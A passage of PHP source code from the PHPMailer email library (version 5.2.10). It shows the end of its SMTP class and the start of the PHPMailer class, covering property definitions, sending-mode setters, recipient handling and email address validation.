  1045. }
  1046. return $data;
  1047. }
  1048.  
  1049. /**
  1050. * Enable or disable VERP address generation.
  1051. * @param boolean $enabled
  1052. */
  1053. public function setVerp($enabled = false)
  1054. {
  1055. $this->do_verp = $enabled;
  1056. }
  1057.  
  1058. /**
  1059. * Get VERP address generation mode.
  1060. * @return boolean
  1061. */
  1062. public function getVerp()
  1063. {
  1064. return $this->do_verp;
  1065. }
  1066.  
  1067. /**
  1068. * Set error messages and codes.
  1069. * @param string $message The error message
  1070. * @param string $detail Further detail on the error
  1071. * @param string $smtp_code An associated SMTP error code
  1072. * @param string $smtp_code_ex Extended SMTP code
  1073. */
  1074. protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
  1075. {
  1076. $this->error = array(
  1077. 'error' => $message,
  1078. 'detail' => $detail,
  1079. 'smtp_code' => $smtp_code,
  1080. 'smtp_code_ex' => $smtp_code_ex
  1081. );
  1082. }
  1083.  
  1084. /**
  1085. * Set debug output method.
  1086. * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
  1087. */
  1088. public function setDebugOutput($method = 'echo')
  1089. {
  1090. $this->Debugoutput = $method;
  1091. }
  1092.  
  1093. /**
  1094. * Get debug output method.
  1095. * @return string
  1096. */
  1097. public function getDebugOutput()
  1098. {
  1099. return $this->Debugoutput;
  1100. }
  1101.  
  1102. /**
  1103. * Set debug output level.
  1104. * @param integer $level
  1105. */
  1106. public function setDebugLevel($level = 0)
  1107. {
  1108. $this->do_debug = $level;
  1109. }
  1110.  
  1111. /**
  1112. * Get debug output level.
  1113. * @return integer
  1114. */
  1115. public function getDebugLevel()
  1116. {
  1117. return $this->do_debug;
  1118. }
  1119.  
  1120. /**
  1121. * Set SMTP timeout.
  1122. * @param integer $timeout
  1123. */
  1124. public function setTimeout($timeout = 0)
  1125. {
  1126. $this->Timeout = $timeout;
  1127. }
  1128.  
  1129. /**
  1130. * Get SMTP timeout.
  1131. * @return integer
  1132. */
  1133. public function getTimeout()
  1134. {
  1135. return $this->Timeout;
  1136. }
  1137. }
  1138.  
  1139. /**
  1140. * PHPMailer - PHP email creation and transport class.
  1141. * PHP Version 5
  1142. * @package PHPMailer
  1143. * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
  1144. * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
  1145. * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
  1146. * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
  1147. * @author Brent R. Matzelle (original founder)
  1148. * @copyright 2012 - 2014 Marcus Bointon
  1149. * @copyright 2010 - 2012 Jim Jagielski
  1150. * @copyright 2004 - 2009 Andy Prevost
  1151. * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
  1152. * @note This program is distributed in the hope that it will be useful - WITHOUT
  1153. * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
  1154. * FITNESS FOR A PARTICULAR PURPOSE.
  1155. */
  1156.  
  1157. /**
  1158. * PHPMailer - PHP email creation and transport class.
  1159. * @package PHPMailer
  1160. * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
  1161. * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
  1162. * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
  1163. * @author Brent R. Matzelle (original founder)
  1164. */
  1165. class PHPMailer
  1166. {
  1167. /**
  1168. * The PHPMailer Version number.
  1169. * @type string
  1170. */
  1171. public $Version = '5.2.10';
  1172.  
  1173. /**
  1174. * Email priority.
  1175. * Options: 1 = High, 3 = Normal, 5 = low.
  1176. * @type integer
  1177. */
  1178. public $Priority = 3;
  1179.  
  1180. /**
  1181. * The character set of the message.
  1182. * @type string
  1183. */
  1184. public $CharSet = 'iso-8859-1';
  1185.  
  1186. /**
  1187. * The MIME Content-type of the message.
  1188. * @type string
  1189. */
  1190. public $ContentType = 'text/plain';
  1191.  
  1192. /**
  1193. * The message encoding.
  1194. * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
  1195. * @type string
  1196. */
  1197. public $Encoding = '8bit';
  1198.  
  1199. /**
  1200. * Holds the most recent mailer error message.
  1201. * @type string
  1202. */
  1203. public $ErrorInfo = '';
  1204.  
  1205. /**
  1206. * The From email address for the message.
  1207. * @type string
  1208. */
  1209. public $From = 'root@localhost';
  1210.  
  1211. /**
  1212. * The From name of the message.
  1213. * @type string
  1214. */
  1215. public $FromName = 'Root User';
  1216.  
  1217. /**
  1218. * The Sender email (Return-Path) of the message.
  1219. * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
  1220. * @type string
  1221. */
  1222. public $Sender = '';
  1223.  
  1224. /**
  1225. * The Return-Path of the message.
  1226. * If empty, it will be set to either From or Sender.
  1227. * @type string
  1228. * @deprecated Email senders should never set a return-path header;
  1229. * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
  1230. * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
  1231. */
  1232. public $ReturnPath = '';
  1233.  
  1234. /**
  1235. * The Subject of the message.
  1236. * @type string
  1237. */
  1238. public $Subject = '';
  1239.  
  1240. /**
  1241. * An HTML or plain text message body.
  1242. * If HTML then call isHTML(true).
  1243. * @type string
  1244. */
  1245. public $Body = '';
  1246.  
  1247. /**
  1248. * The plain-text message body.
  1249. * This body can be read by mail clients that do not have HTML email
  1250. * capability such as mutt & Eudora.
  1251. * Clients that can read HTML will view the normal Body.
  1252. * @type string
  1253. */
  1254. public $AltBody = '';
  1255.  
  1256. /**
  1257. * An iCal message part body.
  1258. * Only supported in simple alt or alt_inline message types
  1259. * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
  1260. * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
  1261. * @link http://kigkonsult.se/iCalcreator/
  1262. * @type string
  1263. */
  1264. public $Ical = '';
  1265.  
  1266. /**
  1267. * The complete compiled MIME message body.
  1268. * @access protected
  1269. * @type string
  1270. */
  1271. protected $MIMEBody = '';
  1272.  
  1273. /**
  1274. * The complete compiled MIME message headers.
  1275. * @type string
  1276. * @access protected
  1277. */
  1278. protected $MIMEHeader = '';
  1279.  
  1280. /**
  1281. * Extra headers that createHeader() doesn't fold in.
  1282. * @type string
  1283. * @access protected
  1284. */
  1285. protected $mailHeader = '';
  1286.  
  1287. /**
  1288. * Word-wrap the message body to this number of chars.
  1289. * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
  1290. * @type integer
  1291. */
  1292. public $WordWrap = 0;
  1293.  
  1294. /**
  1295. * Which method to use to send mail.
  1296. * Options: "mail", "sendmail", or "smtp".
  1297. * @type string
  1298. */
  1299. public $Mailer = 'mail';
  1300.  
  1301. /**
  1302. * The path to the sendmail program.
  1303. * @type string
  1304. */
  1305. public $Sendmail = '/usr/sbin/sendmail';
  1306.  
  1307. /**
  1308. * Whether mail() uses a fully sendmail-compatible MTA.
  1309. * One which supports sendmail's "-oi -f" options.
  1310. * @type boolean
  1311. */
  1312. public $UseSendmailOptions = true;
  1313.  
  1314. /**
  1315. * Path to PHPMailer plugins.
  1316. * Useful if the SMTP class is not in the PHP include path.
  1317. * @type string
  1318. * @deprecated Should not be needed now there is an autoloader.
  1319. */
  1320. public $PluginDir = '';
  1321.  
  1322. /**
  1323. * The email address that a reading confirmation should be sent to.
  1324. * @type string
  1325. */
  1326. public $ConfirmReadingTo = '';
  1327.  
  1328. /**
  1329. * The hostname to use in Message-Id and Received headers
  1330. * and as default HELO string.
  1331. * If empty, the value returned
  1332. * by SERVER_NAME is used or 'localhost.localdomain'.
  1333. * @type string
  1334. */
  1335. public $Hostname = '';
  1336.  
  1337. /**
  1338. * An ID to be used in the Message-Id header.
  1339. * If empty, a unique id will be generated.
  1340. * @type string
  1341. */
  1342. public $MessageID = '';
  1343.  
  1344. /**
  1345. * The message Date to be used in the Date header.
  1346. * If empty, the current date will be added.
  1347. * @type string
  1348. */
  1349. public $MessageDate = '';
  1350.  
  1351. /**
  1352. * SMTP hosts.
  1353. * Either a single hostname or multiple semicolon-delimited hostnames.
  1354. * You can also specify a different port
  1355. * for each host by using this format: [hostname:port]
  1356. * (e.g. "smtp1.example.com:25;smtp2.example.com").
  1357. * You can also specify encryption type, for example:
  1358. * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
  1359. * Hosts will be tried in order.
  1360. * @type string
  1361. */
  1362. public $Host = 'localhost';
  1363.  
  1364. /**
  1365. * The default SMTP server port.
  1366. * @type integer
  1367. * @TODO Why is this needed when the SMTP class takes care of it?
  1368. */
  1369. public $Port = 25;
  1370.  
  1371. /**
  1372. * The SMTP HELO of the message.
  1373. * Default is $Hostname.
  1374. * @type string
  1375. * @see PHPMailer::$Hostname
  1376. */
  1377. public $Helo = '';
  1378.  
  1379. /**
  1380. * What kind of encryption to use on the SMTP connection.
  1381. * Options: '', 'ssl' or 'tls'
  1382. * @type string
  1383. */
  1384. public $SMTPSecure = '';
  1385.  
  1386. /**
  1387. * Whether to enable TLS encryption automatically if a server supports it,
  1388. * even if `SMTPSecure` is not set to 'tls'.
  1389. * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
  1390. * @type boolean
  1391. */
  1392. public $SMTPAutoTLS = true;
  1393.  
  1394. /**
  1395. * Whether to use SMTP authentication.
  1396. * Uses the Username and Password properties.
  1397. * @type boolean
  1398. * @see PHPMailer::$Username
  1399. * @see PHPMailer::$Password
  1400. */
  1401. public $SMTPAuth = false;
  1402.  
  1403. /**
  1404. * Options array passed to stream_context_create when connecting via SMTP.
  1405. * @type array
  1406. */
  1407. public $SMTPOptions = array();
  1408.  
  1409. /**
  1410. * SMTP username.
  1411. * @type string
  1412. */
  1413. public $Username = '';
  1414.  
  1415. /**
  1416. * SMTP password.
  1417. * @type string
  1418. */
  1419. public $Password = '';
  1420.  
  1421. /**
  1422. * SMTP auth type.
  1423. * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
  1424. * @type string
  1425. */
  1426. public $AuthType = '';
  1427.  
  1428. /**
  1429. * SMTP realm.
  1430. * Used for NTLM auth
  1431. * @type string
  1432. */
  1433. public $Realm = '';
  1434.  
  1435. /**
  1436. * SMTP workstation.
  1437. * Used for NTLM auth
  1438. * @type string
  1439. */
  1440. public $Workstation = '';
  1441.  
  1442. /**
  1443. * The SMTP server timeout in seconds.
  1444. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
  1445. * @type integer
  1446. */
  1447. public $Timeout = 300;
  1448.  
  1449. /**
  1450. * SMTP class debug output mode.
  1451. * Debug output level.
  1452. * Options:
  1453. * * `0` No output
  1454. * * `1` Commands
  1455. * * `2` Data and commands
  1456. * * `3` As 2 plus connection status
  1457. * * `4` Low-level data output
  1458. * @type integer
  1459. * @see SMTP::$do_debug
  1460. */
  1461. public $SMTPDebug = 0;
  1462.  
  1463. /**
  1464. * How to handle debug output.
  1465. * Options:
  1466. * * `echo` Output plain-text as-is, appropriate for CLI
  1467. * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
  1468. * * `error_log` Output to error log as configured in php.ini
  1469. *
  1470. * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
  1471. * <code>
  1472. * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
  1473. * </code>
  1474. * @type string|callable
  1475. * @see SMTP::$Debugoutput
  1476. */
  1477. public $Debugoutput = 'echo';
  1478.  
  1479. /**
  1480. * Whether to keep SMTP connection open after each message.
  1481. * If this is set to true then to close the connection
  1482. * requires an explicit call to smtpClose().
  1483. * @type boolean
  1484. */
  1485. public $SMTPKeepAlive = false;
  1486.  
  1487. /**
  1488. * Whether to split multiple to addresses into multiple messages
  1489. * or send them all in one message.
  1490. * @type boolean
  1491. */
  1492. public $SingleTo = false;
  1493.  
  1494. /**
  1495. * Storage for addresses when SingleTo is enabled.
  1496. * @type array
  1497. * @TODO This should really not be public
  1498. */
  1499. public $SingleToArray = array();
  1500.  
  1501. /**
  1502. * Whether to generate VERP addresses on send.
  1503. * Only applicable when sending via SMTP.
  1504. * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
  1505. * @link http://www.postfix.org/VERP_README.html Postfix VERP info
  1506. * @type boolean
  1507. */
  1508. public $do_verp = false;
  1509.  
  1510. /**
  1511. * Whether to allow sending messages with an empty body.
  1512. * @type boolean
  1513. */
  1514. public $AllowEmpty = false;
  1515.  
  1516. /**
  1517. * The default line ending.
  1518. * @note The default remains "\n". We force CRLF where we know
  1519. * it must be used via self::CRLF.
  1520. * @type string
  1521. */
  1522. public $LE = "\n";
  1523.  
  1524. /**
  1525. * DKIM selector.
  1526. * @type string
  1527. */
  1528. public $DKIM_selector = '';
  1529.  
  1530. /**
  1531. * DKIM Identity.
  1532. * Usually the email address used as the source of the email
  1533. * @type string
  1534. */
  1535. public $DKIM_identity = '';
  1536.  
  1537. /**
  1538. * DKIM passphrase.
  1539. * Used if your key is encrypted.
  1540. * @type string
  1541. */
  1542. public $DKIM_passphrase = '';
  1543.  
  1544. /**
  1545. * DKIM signing domain name.
  1546. * @example 'example.com'
  1547. * @type string
  1548. */
  1549. public $DKIM_domain = '';
  1550.  
  1551. /**
  1552. * DKIM private key file path.
  1553. * @type string
  1554. */
  1555. public $DKIM_private = '';
  1556.  
  1557. /**
  1558. * Callback Action function name.
  1559. *
  1560. * The function that handles the result of the send email action.
  1561. * It is called out by send() for each email sent.
  1562. *
  1563. * Value can be any php callable: http://www.php.net/is_callable
  1564. *
  1565. * Parameters:
  1566. * boolean $result result of the send action
  1567. * string $to email address of the recipient
  1568. * string $cc cc email addresses
  1569. * string $bcc bcc email addresses
  1570. * string $subject the subject
  1571. * string $body the email body
  1572. * string $from email address of sender
  1573. * @type string
  1574. */
  1575. public $action_function = '';
  1576.  
  1577. /**
  1578. * What to put in the X-Mailer header.
  1579. * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
  1580. * @type string
  1581. */
  1582. public $XMailer = '';
  1583.  
  1584. /**
  1585. * An instance of the SMTP sender class.
  1586. * @type SMTP
  1587. * @access protected
  1588. */
  1589. protected $smtp = null;
  1590.  
  1591. /**
  1592. * The array of 'to' addresses.
  1593. * @type array
  1594. * @access protected
  1595. */
  1596. protected $to = array();
  1597.  
  1598. /**
  1599. * The array of 'cc' addresses.
  1600. * @type array
  1601. * @access protected
  1602. */
  1603. protected $cc = array();
  1604.  
  1605. /**
  1606. * The array of 'bcc' addresses.
  1607. * @type array
  1608. * @access protected
  1609. */
  1610. protected $bcc = array();
  1611.  
  1612. /**
  1613. * The array of reply-to names and addresses.
  1614. * @type array
  1615. * @access protected
  1616. */
  1617. protected $ReplyTo = array();
  1618.  
  1619. /**
  1620. * An array of all kinds of addresses.
  1621. * Includes all of $to, $cc, $bcc
  1622. * @type array
  1623. * @access protected
  1624. */
  1625. protected $all_recipients = array();
  1626.  
  1627. /**
  1628. * The array of attachments.
  1629. * @type array
  1630. * @access protected
  1631. */
  1632. protected $attachment = array();
  1633.  
  1634. /**
  1635. * The array of custom headers.
  1636. * @type array
  1637. * @access protected
  1638. */
  1639. protected $CustomHeader = array();
  1640.  
  1641. /**
  1642. * The most recent Message-ID (including angular brackets).
  1643. * @type string
  1644. * @access protected
  1645. */
  1646. protected $lastMessageID = '';
  1647.  
  1648. /**
  1649. * The message's MIME type.
  1650. * @type string
  1651. * @access protected
  1652. */
  1653. protected $message_type = '';
  1654.  
  1655. /**
  1656. * The array of MIME boundary strings.
  1657. * @type array
  1658. * @access protected
  1659. */
  1660. protected $boundary = array();
  1661.  
  1662. /**
  1663. * The array of available languages.
  1664. * @type array
  1665. * @access protected
  1666. */
  1667. protected $language = array();
  1668.  
  1669. /**
  1670. * The number of errors encountered.
  1671. * @type integer
  1672. * @access protected
  1673. */
  1674. protected $error_count = 0;
  1675.  
  1676. /**
  1677. * The S/MIME certificate file path.
  1678. * @type string
  1679. * @access protected
  1680. */
  1681. protected $sign_cert_file = '';
  1682.  
  1683. /**
  1684. * The S/MIME key file path.
  1685. * @type string
  1686. * @access protected
  1687. */
  1688. protected $sign_key_file = '';
  1689.  
  1690. /**
  1691. * The optional S/MIME extra certificates ("CA Chain") file path.
  1692. * @type string
  1693. * @access protected
  1694. */
  1695. protected $sign_extracerts_file = '';
  1696.  
  1697. /**
  1698. * The S/MIME password for the key.
  1699. * Used only if the key is encrypted.
  1700. * @type string
  1701. * @access protected
  1702. */
  1703. protected $sign_key_pass = '';
  1704.  
  1705. /**
  1706. * Whether to throw exceptions for errors.
  1707. * @type boolean
  1708. * @access protected
  1709. */
  1710. protected $exceptions = false;
  1711.  
  1712. /**
  1713. * Unique ID used for message ID and boundaries.
  1714. * @type string
  1715. * @access protected
  1716. */
  1717. protected $uniqueid = '';
  1718.  
  1719. /**
  1720. * Error severity: message only, continue processing.
  1721. */
  1722. const STOP_MESSAGE = 0;
  1723.  
  1724. /**
  1725. * Error severity: message, likely ok to continue processing.
  1726. */
  1727. const STOP_CONTINUE = 1;
  1728.  
  1729. /**
  1730. * Error severity: message, plus full stop, critical error reached.
  1731. */
  1732. const STOP_CRITICAL = 2;
  1733.  
  1734. /**
  1735. * SMTP RFC standard line ending.
  1736. */
  1737. const CRLF = "\r\n";
  1738.  
  1739. /**
  1740. * The maximum line length allowed by RFC 2822 section 2.1.1
  1741. * @type integer
  1742. */
  1743. const MAX_LINE_LENGTH = 998;
  1744.  
  1745. /**
  1746. * Constructor.
  1747. * @param boolean $exceptions Should we throw external exceptions?
  1748. */
  1749. public function __construct($exceptions = false)
  1750. {
  1751. $this->exceptions = (boolean)$exceptions;
  1752. }
  1753.  
  1754. /**
  1755. * Destructor.
  1756. */
  1757. public function __destruct()
  1758. {
  1759. //Close any open SMTP connection nicely
  1760. if ($this->Mailer == 'smtp') {
  1761. $this->smtpClose();
  1762. }
  1763. }
  1764.  
  1765. /**
  1766. * Call mail() in a safe_mode-aware fashion.
  1767. * Also, unless sendmail_path points to sendmail (or something that
  1768. * claims to be sendmail), don't pass params (not a perfect fix,
  1769. * but it will do)
  1770. * @param string $to To
  1771. * @param string $subject Subject
  1772. * @param string $body Message Body
  1773. * @param string $header Additional Header(s)
  1774. * @param string $params Params
  1775. * @access private
  1776. * @return boolean
  1777. */
  1778. private function mailPassthru($to, $subject, $body, $header, $params)
  1779. {
  1780. //Check overloading of mail function to avoid double-encoding
  1781. if (ini_get('mbstring.func_overload') & 1) {
  1782. $subject = $this->secureHeader($subject);
  1783. } else {
  1784. $subject = $this->encodeHeader($this->secureHeader($subject));
  1785. }
  1786. if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  1787. $result = @mail($to, $subject, $body, $header);
  1788. } else {
  1789. $result = @mail($to, $subject, $body, $header, $params);
  1790. }
  1791. return $result;
  1792. }
  1793.  
  1794. /**
  1795. * Output debugging info via user-defined method.
  1796. * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
  1797. * @see PHPMailer::$Debugoutput
  1798. * @see PHPMailer::$SMTPDebug
  1799. * @param string $str
  1800. */
  1801. protected function edebug($str)
  1802. {
  1803. if ($this->SMTPDebug <= 0) {
  1804. return;
  1805. }
  1806. //Avoid clash with built-in function names
  1807. if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  1808. call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  1809. return;
  1810. }
  1811. switch ($this->Debugoutput) {
  1812. case 'error_log':
  1813. //Don't output, just log
  1814. error_log($str);
  1815. break;
  1816. case 'html':
  1817. //Cleans up output a bit for a better looking, HTML-safe output
  1818. echo htmlentities(
  1819. preg_replace('/[\r\n]+/', '', $str),
  1820. ENT_QUOTES,
  1821. 'UTF-8'
  1822. )
  1823. . "<br>\n";
  1824. break;
  1825. case 'echo':
  1826. default:
  1827. //Normalize line breaks
  1828. $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  1829. echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  1830. "\n",
  1831. "\n \t ",
  1832. trim($str)
  1833. ) . "\n";
  1834. }
  1835. }
  1836.  
  1837. /**
  1838. * Sets message type to HTML or plain.
  1839. * @param boolean $isHtml True for HTML mode.
  1840. * @return void
  1841. */
  1842. public function isHTML($isHtml = true)
  1843. {
  1844. if ($isHtml) {
  1845. $this->ContentType = 'text/html';
  1846. } else {
  1847. $this->ContentType = 'text/plain';
  1848. }
  1849. }
  1850.  
  1851. /**
  1852. * Send messages using SMTP.
  1853. * @return void
  1854. */
  1855. public function isSMTP()
  1856. {
  1857. $this->Mailer = 'smtp';
  1858. }
  1859.  
  1860. /**
  1861. * Send messages using PHP's mail() function.
  1862. * @return void
  1863. */
  1864. public function isMail()
  1865. {
  1866. $this->Mailer = 'mail';
  1867. }
  1868.  
  1869. /**
  1870. * Send messages using $Sendmail.
  1871. * @return void
  1872. */
  1873. public function isSendmail()
  1874. {
  1875. $ini_sendmail_path = ini_get('sendmail_path');
  1876.  
  1877. if (!stristr($ini_sendmail_path, 'sendmail')) {
  1878. $this->Sendmail = '/usr/sbin/sendmail';
  1879. } else {
  1880. $this->Sendmail = $ini_sendmail_path;
  1881. }
  1882. $this->Mailer = 'sendmail';
  1883. }
  1884.  
  1885. /**
  1886. * Send messages using qmail.
  1887. * @return void
  1888. */
  1889. public function isQmail()
  1890. {
  1891. $ini_sendmail_path = ini_get('sendmail_path');
  1892.  
  1893. if (!stristr($ini_sendmail_path, 'qmail')) {
  1894. $this->Sendmail = '/var/qmail/bin/qmail-inject';
  1895. } else {
  1896. $this->Sendmail = $ini_sendmail_path;
  1897. }
  1898. $this->Mailer = 'qmail';
  1899. }
  1900.  
  1901. /**
  1902. * Add a "To" address.
  1903. * @param string $address
  1904. * @param string $name
  1905. * @return boolean true on success, false if address already used
  1906. */
  1907. public function addAddress($address, $name = '')
  1908. {
  1909. return $this->addAnAddress('to', $address, $name);
  1910. }
  1911.  
  1912. /**
  1913. * Add a "CC" address.
  1914. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  1915. * @param string $address
  1916. * @param string $name
  1917. * @return boolean true on success, false if address already used
  1918. */
  1919. public function addCC($address, $name = '')
  1920. {
  1921. return $this->addAnAddress('cc', $address, $name);
  1922. }
  1923.  
  1924. /**
  1925. * Add a "BCC" address.
  1926. * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
  1927. * @param string $address
  1928. * @param string $name
  1929. * @return boolean true on success, false if address already used
  1930. */
  1931. public function addBCC($address, $name = '')
  1932. {
  1933. return $this->addAnAddress('bcc', $address, $name);
  1934. }
  1935.  
  1936. /**
  1937. * Add a "Reply-to" address.
  1938. * @param string $address
  1939. * @param string $name
  1940. * @return boolean
  1941. */
  1942. public function addReplyTo($address, $name = '')
  1943. {
  1944. return $this->addAnAddress('Reply-To', $address, $name);
  1945. }
  1946.  
  1947. /**
  1948. * Add an address to one of the recipient arrays.
  1949. * Addresses that have been added already return false, but do not throw exceptions
  1950. * @param string $kind One of 'to', 'cc', 'bcc', 'ReplyTo'
  1951. * @param string $address The email address to send to
  1952. * @param string $name
  1953. * @throws phpmailerException
  1954. * @return boolean true on success, false if address already used or invalid in some way
  1955. * @access protected
  1956. */
  1957. protected function addAnAddress($kind, $address, $name = '')
  1958. {
  1959. if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  1960. $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  1961. $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  1962. if ($this->exceptions) {
  1963. throw new phpmailerException('Invalid recipient array: ' . $kind);
  1964. }
  1965. return false;
  1966. }
  1967. $address = trim($address);
  1968. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  1969. if (!$this->validateAddress($address)) {
  1970. $this->setError($this->lang('invalid_address') . ': ' . $address);
  1971. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  1972. if ($this->exceptions) {
  1973. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  1974. }
  1975. return false;
  1976. }
  1977. if ($kind != 'Reply-To') {
  1978. if (!isset($this->all_recipients[strtolower($address)])) {
  1979. array_push($this->$kind, array($address, $name));
  1980. $this->all_recipients[strtolower($address)] = true;
  1981. return true;
  1982. }
  1983. } else {
  1984. if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  1985. $this->ReplyTo[strtolower($address)] = array($address, $name);
  1986. return true;
  1987. }
  1988. }
  1989. return false;
  1990. }
  1991.  
  1992. /**
  1993. * Set the From and FromName properties.
  1994. * @param string $address
  1995. * @param string $name
  1996. * @param boolean $auto Whether to also set the Sender address, defaults to true
  1997. * @throws phpmailerException
  1998. * @return boolean
  1999. */
  2000. public function setFrom($address, $name = '', $auto = true)
  2001. {
  2002. $address = trim($address);
  2003. $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  2004. if (!$this->validateAddress($address)) {
  2005. $this->setError($this->lang('invalid_address') . ': ' . $address);
  2006. $this->edebug($this->lang('invalid_address') . ': ' . $address);
  2007. if ($this->exceptions) {
  2008. throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  2009. }
  2010. return false;
  2011. }
  2012. $this->From = $address;
  2013. $this->FromName = $name;
  2014. if ($auto) {
  2015. if (empty($this->Sender)) {
  2016. $this->Sender = $address;
  2017. }
  2018. }
  2019. return true;
  2020. }
  2021.  
  2022. /**
  2023. * Return the Message-ID header of the last email.
  2024. * Technically this is the value from the last time the headers were created,
  2025. * but it's also the message ID of the last sent message except in
  2026. * pathological cases.
  2027. * @return string
  2028. */
  2029. public function getLastMessageID()
  2030. {
  2031. return $this->lastMessageID;
  2032. }
  2033.  
  2034. /**
  2035. * Check that a string looks like an email address.
  2036. * @param string $address The email address to check
  2037. * @param string $patternselect A selector for the validation pattern to use :
  2038. * * `auto` Pick strictest one automatically;
  2039. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  2040. * * `pcre` Use old PCRE implementation;
  2041. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; same as pcre8 but does not allow 'dotless' domains;
  2042. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  2043. * * `noregex` Don't use a regex: super fast, really dumb.
  2044. * @return boolean
  2045. * @static
  2046. * @access public
  2047. */
  2048. public static function validateAddress($address, $patternselect = 'auto')
  2049. {
  2050. if (!$patternselect or $patternselect == 'auto') {
  2051. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  2052. //Constant was added in PHP 5.2.4
  2053. if (defined('PCRE_VERSION')) {
  2054. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  2055. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  2056. $patternselect = 'pcre8';
  2057. } else {
  2058. $patternselect = 'pcre';
  2059. }
  2060. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  2061. //Fall back to older PCRE
  2062. $patternselect = 'pcre';
  2063. } else {
  2064. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  2065. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  2066. $patternselect = 'php';
  2067. } else {
  2068. $patternselect = 'noregex';
  2069. }
  2070. }
  2071. }
  2072. switch ($patternselect) {
  2073. case 'pcre8':
  2074. /**
  2075. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  2076. * @link http://squiloople.com/2009/12/20/email-address-validation/
  2077. * @copyright 2009-2010 Michael Rushton
  2078. * Feel free to use and redistribute this code. But please keep this copyright notice.
  2079. */
  2080. return (boolean)preg_match(
  2081. '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  2082. '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  2083. '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  2084. '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  2085. '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  2086. '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  2087. '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  2088. '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  2089. '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  2090. $address
  2091. );
  2092. case 'pcre':
  2093. //An older regex that doesn't need a recent PCRE
  2094. return (boolean)preg_match(
  2095. '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  2096. '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
